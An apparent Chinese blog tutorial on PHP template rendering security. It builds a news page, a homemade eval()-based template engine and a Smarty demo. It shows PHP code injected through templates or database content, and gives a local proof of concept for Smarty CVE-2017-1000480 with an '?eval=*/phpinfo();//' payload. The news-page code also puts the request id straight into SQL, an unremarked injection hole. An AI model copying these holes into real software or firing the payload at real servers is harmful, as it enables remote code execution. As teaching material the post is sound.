Day26:安全开发-PHP应用模版引用Smarty渲染MVC模型数据联动RCE安全
目录
新闻列表
自写模版引用
Smarty模版引用
代码RCE安全测试
思维导图
PHP知识点:
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
新闻列表
1、数据库创建新闻存储
2、代码连接数据库读取
3、页面进行自定义显示
简单实现新闻列表显示
new.html
打开数据库创建新的新闻数据库(new)
- 键值对(id title author content image)
- 给数据库(new)写入新数据 image写保存好的图片路径即可


输入相关简单代码,能把数据库中的资料显示出来看

new.php代码如下:
<?php
// 包含数据库配置文件
include 'config.php';// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';// 构建SQL查询语句
$sql = "select * from new where id=$id";// 执行查询并获取结果集
$data = mysqli_query($con, $sql);// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {// 输出标题,注意:mysqli_fetch_row返回的是枚举数组,索引从0开始echo "标题: <title>" . $row[1] . "</title><br>";// 输出第二列数据echo $row[2] . "<br>";// 输出第三列数据echo $row[3] . "<br>";// 输出图片,注意:在HTML中使用$row[4]作为图片路径echo "<img src='$row[4]' width='300' height='300'></img><br>";
}// 关闭数据库连接
mysqli_close($con);
?>
自写模版引用
1、页面显示样式编排
2、显示数据插入页面
3、引用模版调用触发
模板规范化,显示更美观,首先在项目中创建new.html前端模板代码

创建新的数据库news

改变以下源代码,将数据库中的元素一一,替换为使用html渲染,效果如下图

安全问题:如果在数据库中任何地方添加<?php phpinfo();?> ,在调用数据库内容的时候会自动显示


如果在html模板源码中加入<?php phpinfo();?> ,在执行HTML并不会显示,但通过php解析调用,则依然会展示有关内容

<?php phpinfo(); ?> 这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo() 是一个对开发人员有用的函数,可以获取有关 PHP 环境的信息,但在生产环境中应谨慎使用。
潜在的风险和关切点:
- 安全风险: 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息,包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。
- 信息泄露: 在生产环境中,显示详细的 PHP 信息是不推荐的,因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。
- 服务器加固: 安全最佳实践涉及将服务器信息的暴露最小化,以减少攻击面。应该限制不必要的服务器环境信息,以降低攻击表面。
原理:模板中存在PHP代码,或者模板可以被操控修改,模板在被渲染执行时就会执行显示到页面中
PHP 内置函数,用于读取指定文件(此处为
new.html)的内容并返回。$template = file_get_contents('new.html');PHP 内置函数,用于在模板内容中查找
{page_title}占位符并替换为变量$page_title的值。替换后的内容再次赋值给变量$template。通过
eval('?>' . $template)将替换后的内容输出到浏览器。eval()函数用于执行动态生成的 PHP 代码。$template=str_replace('{page_title}',$page_title,$template); $template=str_replace('{heading}',$subheading,$template); $template=str_replace('{subheading}',$subheading,$template); $template=str_replace('{content}',$content,$template); $template=str_replace('{$item}',$item,$template); eval('?>' . $template);
Smarty模版引用
下载:https://github.com/smarty-php/smarty/releases
使用:
1、创建一个文件夹,命名为smarty-demo。
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:<?php // 引入 Smarty 类文件 require('smarty-demo/libs/Smarty.class.php'); // 创建 Smarty 实例 $smarty = new Smarty; // 设置 Smarty 相关属性 $smarty->template_dir = 'smarty-demo/templates/'; $smarty->compile_dir = 'smarty-demo/templates_c/'; $smarty->cache_dir = 'smarty-demo/cache/'; $smarty->config_dir = 'smarty-demo/configs/'; // 赋值变量到模板中 $smarty->assign('title', '欢迎使用 Smarty'); // 显示模板 $smarty->display('index.tpl'); ?>4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中
<!DOCTYPE html> <html> <head> <title>{$title}</title> </head> <body> <h1>{$title}</h1> <p>这是一个使用 Smarty 的例子。</p> </body> </html>

安全性:在相关模板内容下加入<?php phpinfo();?> ,但是发现不能泄露

代码RCE安全测试
1、自写模版的安全隐患
2、第三方Smarty的安全隐患
自写模版的安全隐患
第三方 Smarty 的安全隐患 没有直接 RCE 安全问题,但也有漏洞
- Smarty 模板注入 & CVE-2017-1000480:在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
- Smarty 注入漏洞_CNNVD-202201-684:Smarty 模版沙箱逃逸远程代码执行漏洞
- CVE-2021-26119 PHP:由于 Smarty 中 Smarty_Internal_Runtime_TplFunction 模块通过引擎编译生成模板文件,攻击者可利用该漏洞在获得权限的情况下,构造恶意数据,最终造成远程代码执行。
Smarty 模板注入 & CVE-2017-1000480
参考链接:https://xz.aliyun.com/t/12220
Smarty <= 3.1.32 PHP代码执行漏洞分析—【CVE-2017-1000480】_smarty3漏洞-CSDN博客
下载 3.1.42 之前的 Smarty 版本并解压缩到 www 目录下
在 smarty 中随意创建一个 php 文件写入以下代码,我创建的是 index.php<?php define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');class testSmarty extends Smarty_Resource_Custom {protected function fetch($name, &$source, &$mtime){$template = "CVE-2017-1000480 smarty PHP code injection";$source = $template;$mtime = time();} }$smarty = new Smarty(); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('test', new testSmarty); $smarty->display('test:'.$_GET['eval']); ?>payload 的最前面需要加上
*/。同时还要把后面的*/给注释掉,可以在 payload 最后加上//。中间填上 php 代码即可。http://127.0.0.1/index.php?eval=*/phpinfo();//发现成功执行了 phpinfo () 代码
思维导图


相关文章:
Day26:安全开发-PHP应用模版引用Smarty渲染MVC模型数据联动RCE安全
目录 新闻列表 自写模版引用 Smarty模版引用 代码RCE安全测试 思维导图 PHP知识点: 功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输…...
LVS集群(Linux Virtual server)介绍----及LVS的NAT模式部署(一)
群集的含义 ●Cluster,集群、群集由多台主机构成,但对外只表现为一个整体,只提供访问入口(域名或IP地址),相当于一台大型计算机 问题: 互联网应用中,随着站点对硬件性能、响应速度、服务稳定性、数据可靠…...
海外媒体宣发套餐如何利用3种方式洞察市场-华媒舍
在当今数字化时代,媒体宣发成为了企业推广产品和品牌的重要手段之一。其中,7FT媒体宣发套餐是一种常用而有效的宣传方式。本文将介绍这种媒体宣发套餐,以及如何利用它来洞察市场。 一、关键概念 在深入讨论7FT媒体宣发套餐之前,让…...
开发知识点-Apache Struts2框架
Apache Struts2 介绍S2-001S2CVE-2023-22530 介绍 Apache Struts2是一个基于MVC(模型-视图-控制器)设计模式的Web应用程序框架,它是Apache旗下的一个开源项目,并且是Struts1的下一代产品。Struts2是在Struts1和WebWork的技术基础…...
【Spring高级】第3讲 Bean的生命周期
目录 基本的生命周期后处理器总结 基本的生命周期 为了演示生命周期的过程,我们直接使用 SpringApplication.run()方法,他会直接诶返回一个容器对象。 import org.springframework.boot.SpringApplication; import org.springframework.context.Config…...
【C语言】linux内核tcp_write_xmit和tcp_write_queue_purge
tcp_write_xmit 一、讲解 这个函数 tcp_write_xmit 是Linux内核TCP协议栈中的一部分,其基本作用是发送数据包到网络。这个函数会根据不同情况推进发送队列的头部,确保只要远程窗口有空间,就可以发送数据。 下面是对该函数的一些主要逻辑的中…...
opencv实现视频人脸识别
一. 实现指定图像的人脸识别 注意: 以下实例参考《OpenCV轻松入门面向Python》李立宗著,使用python语言,编辑器为PyCharm,且都运行成功。 1.dface3.jpg图片文件和当前代码放在同一级目录下。 2.级联分类器文件和当前代码文件放在…...
【今日面经】24/3/9 广州Java某小厂电话面经
面经来源:https://www.nowcoder.com/?type818_1 目录 1、 和equals()有什么区别?2、String变量直接赋值和构造函数赋值比较相等吗?3、String一些方法?4、抽象类和接口有什么区别?5、Java容器有哪些?6、Lis…...
日期问题---算法精讲
前言 今天讲讲日期问题,所谓日期问题,在蓝桥杯中出现众多,但是解法比较固定。 一般有判断日期合法性,判断是否闰年,判断日期的特殊形式(回文或abababab型等) 目录 例题 题2 题三 总结 …...
倒计时35天
dp预备(来源:b站acm刘春英老师) 1. 2. 3. 4. 5. 6. 7....
JAVA后端开发面试基础知识(七)——多线程
1. 线程池原理 优点 降低资源消耗。通过重复利用已创建的线程降低线程创建和销毁造成的消耗。提高响应速度。当任务到达时,任务可以不需要等到线程创建就能立即执行。提高线程的可管理性。线程是稀缺资源,如果无限制的创建,不仅会消耗系统资源,还会降低系统的稳定性,使用线…...
Apache的安装与目录结构详细解说
1. Apache安装步骤 Apache是一款开源的Web服务器软件,常用于搭建网站和服务。以下是Apache的安装步骤: 在官方网站(https://httpd.apache.org/)下载最新版本的Apache软件包。解压下载的软件包到指定目录。运行安装程序ÿ…...
axios的详细使用
目录 axios:现代前端开发的HTTP客户端王者 一、axios简介 二、axios的基本用法 1. 安装axios 2. 发起GET请求 3. 发起POST请求 三、axios的高级特性 1. 拦截器 2. 取消请求 3. 自动转换JSON数据 四、axios在前端开发中的应用 五、总结 axios:…...
空间复杂度的OJ练习——轮转数组
旋转数组OJ链接:https://leetcode-cn.com/problems/rotate-array/ 题目: 思路: 通过题目我们可以知道这是一个无序数组,只需要将数组中的数按给定条件重新排列,因此我们可以想到以下几种方法: 1.暴力求解法…...
学习与学习理论 - 2024教招 - test
一 方向 所有学习理论大的观点,到某个人物个人的观点。抖音:按照粉丝数量、收藏数量、点赞数量排名从编程(思想)、java、自己所拥有的特点看学习方法顺序:java、自身、教学理论的总观点、教学理论代表人物的观点、散兵…...
Spring web开发(入门)
1、我们在执行程序时,运行的需要是这个界面 2、简单的web接口(127.0.0.1表示本机IP) package com.example.demo;import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestCont…...
这是谁的女儿?其母亲早已红过头了,现在小小年纪的她也爆红网络,没想到吧?
这是谁的女儿?其母亲早已红过头了,现在小小年纪的她也爆红网络,没想到吧? 原来,作母亲的她在红极一时后似乎沉寂了下来,没想到她11岁的女儿近年来也在社交媒体上走红,她为何也成了小网红呢&…...
鸿蒙开发之gson解析
作为老牌的Java程序员,几乎每个项目都逃不掉fastjson/gson等三方库。那么在OpenHarmony/HarmonyOS应用开发中,做数据解析时能不能使用fastjson/gson三方库呢?于是我搜索了一下,其实在arkts开发过程中也是可以使用JS里自带的JSONparse和JSONstringify方法来实现JSON和对象转…...
图形库实战丨C语言扫雷小游戏(超2w字,附图片素材)
目录 效果展示 游玩链接(无需安装图形库及VS) 开发环境及准备 1.VS2022版本 2.图形库 游戏初始化 1.头文件 2.创建窗口 3.主函数框架 开始界面函数 1.初始化 1-1.设置背景颜色及字体 1-2.处理背景音乐及图片素材 1-3.处理背景图位置 2.选…...
c++: string中 find, rfind, find_frist_of, find_laste_of 与 substr之间的操作
在 C 的 std::string 类中,有几个成员函数可以用于在字符串中执行搜索和子字符串提取操作。以下是这些函数的简要说明: find(): 查找子字符串的第一个出现位置。 size_t find(const string& str, size_t pos 0) const; size_t find(const char* s, …...
汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
C# 表达式和运算符(求值顺序)
求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如,已知表达式3*52,依照子表达式的求值顺序,有两种可能的结果,如图9-3所示。 如果乘法先执行,结果是17。如果5…...
NPOI操作EXCEL文件 ——CAD C# 二次开发
缺点:dll.版本容易加载错误。CAD加载插件时,没有加载所有类库。插件运行过程中用到某个类库,会从CAD的安装目录找,找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库,就用插件程序加载进…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
恶补电源:1.电桥
一、元器件的选择 搜索并选择电桥,再multisim中选择FWB,就有各种型号的电桥: 电桥是用来干嘛的呢? 它是一个由四个二极管搭成的“桥梁”形状的电路,用来把交流电(AC)变成直流电(DC)。…...
用 Rust 重写 Linux 内核模块实战:迈向安全内核的新篇章
用 Rust 重写 Linux 内核模块实战:迈向安全内核的新篇章 摘要: 操作系统内核的安全性、稳定性至关重要。传统 Linux 内核模块开发长期依赖于 C 语言,受限于 C 语言本身的内存安全和并发安全问题,开发复杂模块极易引入难以…...
OpenGL-什么是软OpenGL/软渲染/软光栅?
软OpenGL(Software OpenGL)或者软渲染指完全通过CPU模拟实现的OpenGL渲染方式(包括几何处理、光栅化、着色等),不依赖GPU硬件加速。这种模式通常性能较低,但兼容性极强,常用于不支持硬件加速…...
Ray框架:分布式AI训练与调参实践
Ray框架:分布式AI训练与调参实践 系统化学习人工智能网站(收藏):https://www.captainbed.cn/flu 文章目录 Ray框架:分布式AI训练与调参实践摘要引言框架架构解析1. 核心组件设计2. 关键技术实现2.1 动态资源调度2.2 …...
基于Java项目的Karate API测试
Karate 实现了可以只编写Feature 文件进行测试,但是对于熟悉Java语言的开发或是测试人员,可以通过编程方式集成 Karate 丰富的自动化和数据断言功能。 本篇快速介绍在Java Maven项目中编写和运行测试的示例。 创建Maven项目 最简单的创建项目的方式就是创建一个目录,里面…...

